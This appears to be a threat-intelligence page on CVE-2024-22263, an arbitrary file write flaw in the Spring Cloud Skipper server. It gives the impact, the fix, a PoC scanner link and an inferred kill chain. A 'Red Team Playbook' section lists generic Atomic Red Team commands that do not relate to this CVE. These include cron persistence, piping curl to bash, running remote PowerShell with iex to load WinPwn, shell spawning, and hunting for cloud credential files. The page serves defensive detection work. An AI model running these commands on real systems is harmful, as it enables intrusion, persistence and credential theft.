CVE-2024-22263
Overview
This vulnerability is an arbitrary file write flaw caused by improper sanitization of the upload path in the Spring Cloud Skipper server component. The issue arises from insufficient validation of user-supplied input in the package upload request handler, allowing crafted requests to manipulate file system paths. The affected component is the Skipper server’s upload package functionality within Spring Cloud Data Flow, which handles microservices deployment packages in cloud environments.
Vulnerability Description
Spring Cloud Data Flow is a microservices-based Streaming and Batch data processing in Cloud Foundry and Kubernetes. The Skipper server has the ability to receive upload package requests. However, due to improper sanitization for upload path, a malicious user who has access to skipper server api can use a crafted upload request to write arbitrary file to any location on file system, may even compromises the server.
Impact
An attacker with authenticated access to the Skipper server API can write arbitrary files anywhere on the file system, potentially overwriting critical configuration or executable files. This can lead to full server compromise, including unauthorized code execution and persistent control over the environment. The attack requires at least low privilege authentication (PR:L) but no user interaction (UI:N) and can be performed remotely over the network (AV:N). The impact includes data breaches, service disruption, and lateral movement within cloud infrastructure.
Solution
VMware Tanzu has released security updates addressing this vulnerability in Spring Cloud Skipper. Users should apply the vendor-provided patches as detailed in the official advisory at https://spring.io/security/cve-2024-22263. The fix involves proper sanitization and validation of upload paths in the Skipper server. Administrators are advised to upgrade to the patched version specified in the advisory and review access controls to limit API exposure until the patch is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Skipper server component of Spring Cloud Data Flow arises from improper sanitization of upload paths, allowing an attacker with access to the server's API to exploit this weakness. When a malicious user crafts a specific upload request, they can manipulate the file path to write arbitrary files to any location within the file system. This flaw is particularly concerning in microservices architectures, where components often operate with elevated privileges and have broad access to the underlying infrastructure. The lack of stringent input validation enables attackers to bypass security controls, potentially leading to unauthorized access to sensitive data or even complete server compromise.
Exploitation of this vulnerability can occur through various attack vectors. An attacker must first gain access to the Skipper server API, which could be achieved through social engineering, credential theft, or exploiting other vulnerabilities within the network. Once access is obtained, the attacker can issue crafted upload requests that leverage the improper sanitization flaw. For instance, they could upload malicious scripts or executables that, once executed, could lead to further exploitation of the environment, such as lateral movement to other services or data exfiltration. The ability to write files to arbitrary locations can also facilitate the installation of backdoors or other persistent threats, making detection and remediation significantly more challenging.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Spring Cloud Data Flow for their data processing needs. The potential for unauthorized file uploads can lead to severe business risks, including data breaches, service disruptions, and loss of customer trust. As organizations increasingly adopt cloud-native architectures, the ramifications of such vulnerabilities extend beyond immediate financial losses; they can also result in regulatory penalties and long-term damage to brand reputation. Furthermore, the interconnected nature of microservices means that a successful exploitation could have cascading effects, compromising additional services and data stores within the ecosystem.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, it is essential to enforce strict access controls to the Skipper server API, ensuring that only authorized personnel can interact with it. Regular audits of API access logs can help identify any suspicious activities that may indicate an attempted exploitation. Additionally, employing web application firewalls (WAFs) can provide an extra layer of defense by filtering out malicious requests before they reach the server. On the development side, incorporating robust input validation and sanitization practices during the software development lifecycle can help prevent similar vulnerabilities from being introduced in the future.
In conclusion, the improper sanitization of upload paths in the Skipper server poses a significant threat to organizations utilizing Spring Cloud Data Flow. The potential for arbitrary file uploads can lead to severe security breaches, impacting both operational integrity and customer trust. By adopting stringent access controls, enhancing detection mechanisms, and prioritizing secure coding practices, organizations can mitigate the risks associated with this vulnerability and bolster their overall cybersecurity posture. As the landscape of cloud-native applications continues to evolve, proactive measures will be crucial in safeguarding sensitive data and maintaining robust security frameworks.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-22263, with our telemetry indicating a sharp increase in malicious upload requests aimed at the Spring Cloud Skipper server. This surge is accompanied by the emergence of new proof-of-concept scanning tools publicly available, which lowers the barrier for threat actors to identify and exploit vulnerable instances. Although the EPSS score remains stable, the heightened detection activity signals growing adversary interest and operationalization of this vulnerability in the wild. For defenders, this trend underscores an increased risk of arbitrary file write attacks that could lead to full system compromise, especially in environments where access controls are insufficient. The evolving exploit landscape demands heightened vigilance, as attackers are actively leveraging automated tools to probe and exploit affected deployments, thereby elevating the overall threat level associated with CVE-2024-22263.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
securelayer7/CVE-2024-22263_Scanner
(CVE-2024-22263) Spring Cloud Dataflow Arbitrary File Writing Scanner
|
securelayer7 | 5 | 1 | 2024-08-21 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-22263 |
| spring.io |
GitHub CVE
|
https://spring.io/security/cve-2024-22263 |